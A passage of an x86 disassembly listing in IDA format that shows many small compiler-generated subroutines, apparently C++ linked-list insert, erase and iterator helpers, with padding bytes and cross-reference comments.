push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx push 0 push 0 mov al, [edi] mov [esi], al call sub_401EBA sub_415070 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esi+4], eax push ecx mov ecx, edi mov dword ptr [esi+8], 0 call sub_4016CC mov edx, [eax] lea eax, [esp+8] push edx push eax mov ecx, edi call sub_40113B mov ecx, [eax] lea edx, [esp+10h] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] mov ecx, esi push eax call sub_40172B mov eax, esi pop edi pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4150F0 proc near ; CODE XREF: sub_401578j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401D89 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401465 mov edx, [esi+4] mov ecx, esi push edx call sub_401CD5 sub_4150F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415160 proc near ; CODE XREF: sub_4012E9j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40208B mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401DA7 mov eax, esi pop esi retn 4 sub_415160 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4151A0 proc near ; CODE XREF: sub_401D89j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401DA7 mov eax, esi pop esi retn 4 sub_4151A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4151D0 proc near ; CODE XREF: sub_40147Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401D89 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40215D sub_4151D0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415210 proc near ; CODE XREF: sub_401258j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_401D89 lea ecx, [esp+10h+var_C] push ecx mov ecx, esi call sub_4012E9 lea edx, [esp+10h+var_8] lea ecx, [esp+10h+var_C] push edx call sub_401D5C test al, al jz short loc_415291 push edi mov edi, [esp+14h+arg_0] loc_415243: ; CODE XREF: sub_415210+7Ej lea ecx, [esp+14h+var_C] call sub_401FA5 mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_415275 lea ecx, [esp+14h+arg_0] push 0 push ecx lea ecx, [esp+1Ch+var_C] call sub_40156E mov edx, [eax] lea eax, [esp+14h+var_4] push edx push eax mov ecx, esi call sub_401FAF ; --------------------------------------------------------------------------- jmp short loc_41527E ; --------------------------------------------------------------------------- loc_415275: ; CODE XREF: sub_415210+42j lea ecx, [esp+14h+var_C] call sub_4020A4 loc_41527E: ; CODE XREF: sub_415210+63j lea ecx, [esp+14h+var_8] push ecx lea ecx, [esp+18h+var_C] call sub_401D5C test al, al jnz short loc_415243 pop edi loc_415291: ; CODE XREF: sub_415210+2Cj pop esi add esp, 0Ch retn 4 sub_415210 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152D0 proc near ; CODE XREF: sub_401E1Fj push esi mov esi, ecx call sub_401EB5 mov eax, esi pop esi retn sub_4152D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152F0 proc near ; CODE XREF: sub_401FA5j mov eax, [ecx] push eax call sub_401EFB add esp, 4 retn sub_4152F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415310 proc near ; CODE XREF: sub_4020A4j push esi mov esi, ecx mov eax, [esi] push eax call sub_40208B mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415310 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415340 proc near ; CODE XREF: sub_401D5Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015CD neg al sbb eax, eax inc eax retn 4 sub_415340 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415370 proc near ; CODE XREF: sub_401F05j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401C7B sub_415370 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4153B0 proc near ; CODE XREF: sub_4011B8j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402234 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401983 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F mov edx, [esi+4] mov ecx, esi push edx call sub_401E1A sub_4153B0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415420 proc near ; CODE XREF: sub_401983j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401249 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401CC6 mov eax, esi pop esi retn 4 sub_415420 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415460 proc near ; CODE XREF: sub_402234j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401CC6 mov eax, esi pop esi retn 4 sub_415460 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415490 proc near ; CODE XREF: sub_401EF1j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_402234 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A96 sub_415490 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4154D0 proc near ; CODE XREF: sub_401924j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402234 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401983 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F pop esi add esp, 0Ch retn sub_4154D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415520 proc near ; CODE XREF: sub_401154j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_402234 lea ecx, [esp+10h+var_C] push ecx mov ecx, esi call sub_401983 lea edx, [esp+10h+var_8] lea ecx, [esp+10h+var_C] push edx call sub_401AD7 test al, al jz short loc_4155A1 push edi mov edi, [esp+14h+arg_0] loc_415553: ; CODE XREF: sub_415520+7Ej lea ecx, [esp+14h+var_C] call sub_4011D1 mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_415585 lea ecx, [esp+14h+arg_0] push 0 push ecx lea ecx, [esp+1Ch+var_C] call sub_4010DC mov edx, [eax] lea eax, [esp+14h+var_4] push edx push eax mov ecx, esi call sub_4017DF ; --------------------------------------------------------------------------- jmp short loc_41558E ; --------------------------------------------------------------------------- loc_415585: ; CODE XREF: sub_415520+42j lea ecx, [esp+14h+var_C] call sub_4018B6 loc_41558E: ; CODE XREF: sub_415520+63j lea ecx, [esp+14h+var_8] push ecx lea ecx, [esp+18h+var_C] call sub_401AD7 test al, al jnz short loc_415553 pop edi loc_4155A1: ; CODE XREF: sub_415520+2Cj pop esi add esp, 0Ch retn 4 sub_415520 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4155E0 proc near ; CODE XREF: sub_401037j push esi mov esi, ecx call sub_401E79 mov eax, esi pop esi retn sub_4155E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415600 proc near ; CODE XREF: sub_4011D1j mov eax, [ecx] push eax call sub_402126 add esp, 4 retn sub_415600 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415620 proc near ; CODE XREF: sub_4018B6j push esi mov esi, ecx mov eax, [esi] push eax call sub_401249 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415620 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415650 proc near ; CODE XREF: sub_401AD7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401EA6 neg al sbb eax, eax inc eax retn 4 sub_415650 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415680 proc near ; CODE XREF: sub_401843j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401DA2 sub_415680 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4156C0 proc near ; CODE XREF: sub_4014B5j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4018F2 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401401 mov edx, [esi+4] mov ecx, esi push edx call sub_401EF6 sub_4156C0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415730 proc near ; CODE XREF: sub_4018F2j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401BB8 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D66 mov eax, esi pop esi retn 4 sub_415730 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415770 proc near ; CODE XREF: sub_40114Aj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D66 mov eax, esi pop esi retn 4 sub_415770 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4157A0 proc near ; CODE XREF: sub_401406j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40114A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401CFD sub_4157A0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4157E0 proc near ; CODE XREF: sub_401C62j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4018F2 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401401 pop esi add esp, 0Ch retn sub_4157E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415830 proc near ; CODE XREF: sub_402130j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_40114A lea ecx, [esp+10h+var_C] push ecx mov ecx, esi call sub_4018F2 lea edx, [esp+10h+var_8] lea ecx, [esp+10h+var_C] push edx call sub_401339 test al, al jz short loc_4158B1 push edi mov edi, [esp+14h+arg_0] loc_415863: ; CODE XREF: sub_415830+7Ej lea ecx, [esp+14h+var_C] call sub_40135C mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_415895 lea ecx, [esp+14h+arg_0] push 0 push ecx lea ecx, [esp+1Ch+var_C] call sub_401EA1 mov edx, [eax] lea eax, [esp+14h+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- jmp short loc_41589E ; --------------------------------------------------------------------------- loc_415895: ; CODE XREF: sub_415830+42j lea ecx, [esp+14h+var_C] call sub_40118B loc_41589E: ; CODE XREF: sub_415830+63j lea ecx, [esp+14h+var_8] push ecx lea ecx, [esp+18h+var_C] call sub_401339 test al, al jnz short loc_415863 pop edi loc_4158B1: ; CODE XREF: sub_415830+2Cj pop esi add esp, 0Ch retn 4 sub_415830 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4158F0 proc near ; CODE XREF: sub_402252j push esi mov esi, ecx call sub_401E29 mov eax, esi pop esi retn sub_4158F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415910 proc near ; CODE XREF: sub_40135Cj mov eax, [ecx] push eax call sub_4017DA add esp, 4 retn sub_415910 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415930 proc near ; CODE XREF: sub_40118Bj push esi mov esi, ecx mov eax, [esi] push eax call sub_401BB8 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415930 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415960 proc near ; CODE XREF: sub_401339j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40144C neg al sbb eax, eax inc eax retn 4 sub_415960 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415990 proc near ; CODE XREF: sub_40113Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40208B mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401753 mov eax, esi pop esi retn 4 sub_415990 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4159D0 proc near ; CODE XREF: sub_4016CCj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401753 mov eax, esi pop esi retn 4 sub_4159D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415A00 proc near ; CODE XREF: sub_40215Dj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C4E mov edi, eax push edi call sub_401104 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401EBA sub_415A00 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401104 push edi mov [eax], ebx call sub_401104 mov edi, [eax] push edi call sub_401104 mov ecx, [eax] push ecx call sub_40208B mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401EFB add esp, 4 mov ecx, esi push eax call sub_402194 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401DA7 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415AA0 proc near ; CODE XREF: sub_40172Bj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, ecx lea eax, [esp+4+arg_8] lea ecx, [esp+4+arg_4] push eax call sub_401CA8 test al, al jz short loc_415AED push edi mov edi, [esp+8+arg_0] loc_415ABA: ; CODE XREF: sub_415AA0+4Aj lea ecx, [esp+8+arg_4] call sub_401A4B push eax lea ecx, [esp+0Ch+arg_0] push edi push ecx mov ecx, esi call sub_40215D ; --------------------------------------------------------------------------- lea ecx, [esp+8+arg_4] call sub_4020EF lea edx, [esp+8+arg_8] lea ecx, [esp+8+arg_4] push edx call sub_401CA8 test al, al jnz short loc_415ABA pop edi loc_415AED: ; CODE XREF: sub_415AA0+13j pop esi retn 0Ch sub_415AA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415B20 proc near ; CODE XREF: sub_401FAFj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40156E mov ecx, eax call sub_401C4E mov esi, eax push esi call sub_40208B push esi mov ebx, eax call sub_401104 mov ecx, [eax] push ecx call sub_40208B mov edx, [ebx] push esi mov [eax], edx call sub_401104 push esi mov ebx, eax call sub_40208B mov eax, [eax] push eax call sub_401104 mov ecx, [ebx] push esi mov [eax], ecx call sub_401EFB add esp, 1Ch mov ecx, edi push eax call sub_4014F6 push esi mov ecx, edi call sub_401CD5 sub_415B20 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415BE0 proc near ; CODE XREF: sub_401465j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401D5C test al, al jz short loc_415C3A loc_415BF8: ; CODE XREF: sub_415BE0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40156E mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401FAF ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401D5C test al, al jnz short loc_415BF8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_415C3A: ; CODE XREF: sub_415BE0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_415BE0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415C70 proc near ; CODE XREF: sub_401EBAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4020D6 sub_415C70 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_415C85 mov edi, esi loc_415C85: ; CODE XREF: ___:00415C81j push esi call sub_40208B mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_415C9A mov edi, esi loc_415C9A: ; CODE XREF: ___:00415C96j push esi call sub_401104 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415CC0 proc near ; CODE XREF: sub_401CD5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401E01 sub_415CC0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415CE0 proc near ; CODE XREF: sub_40208Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_415CE0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D00 proc near ; CODE XREF: sub_401EFBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_415D00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D20 proc near ; CODE XREF: sub_401EB5j mov eax, ecx retn sub_415D20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D40 proc near ; CODE XREF: sub_401DA7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401753 mov eax, esi pop esi retn 4 sub_415D40 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D70 proc near ; CODE XREF: sub_40156Ej arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4020A4 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_415D70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415DA0 proc near ; CODE XREF: sub_4015CDj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_415DA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415DD0 proc near ; CODE XREF: sub_401A96j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401F6E mov edi, eax push edi call sub_401163 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401C7B sub_415DD0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401163 push edi mov [eax], ebx call sub_401163 mov edi, [eax] push edi call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_402126 add esp, 4 mov ecx, esi push eax call sub_4015E6 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401CC6 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415E70 proc near ; CODE XREF: sub_4017DFj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4010DC mov ecx, eax call sub_401F6E mov esi, eax push esi call sub_401249 push esi mov ebx, eax call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [ebx] push esi mov [eax], edx call sub_401163 push esi mov ebx, eax call sub_401249 mov eax, [eax] push eax call sub_401163 mov ecx, [ebx] push esi mov [eax], ecx call sub_402126 add esp, 1Ch mov ecx, edi push eax call sub_401D4D push esi mov ecx, edi call sub_401E1A sub_415E70 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415F30 proc near ; CODE XREF: sub_40132Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401AD7 test al, al jz short loc_415F8A loc_415F48: ; CODE XREF: sub_415F30+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4010DC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4017DF ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401AD7 test al, al jnz short loc_415F48 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_415F8A: ; CODE XREF: sub_415F30+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_415F30 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415FC0 proc near ; CODE XREF: sub_401C7Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4015A5 sub_415FC0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_415FD5 mov edi, esi loc_415FD5: ; CODE XREF: ___:00415FD1j push esi call sub_401249 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_415FEA mov edi, esi loc_415FEA: ; CODE XREF: ___:00415FE6j push esi call sub_401163 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416010 proc near ; CODE XREF: sub_401E1Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4010D7 sub_416010 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416030 proc near ; CODE XREF: sub_401249j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416030 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416050 proc near ; CODE XREF: sub_402126j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_416050 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416070 proc near ; CODE XREF: sub_401E79j mov eax, ecx retn sub_416070 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416090 proc near ; CODE XREF: sub_401CC6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401357 mov eax, esi pop esi retn 4 sub_416090 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4160C0 proc near ; CODE XREF: sub_4010DCj arg_0 = dword 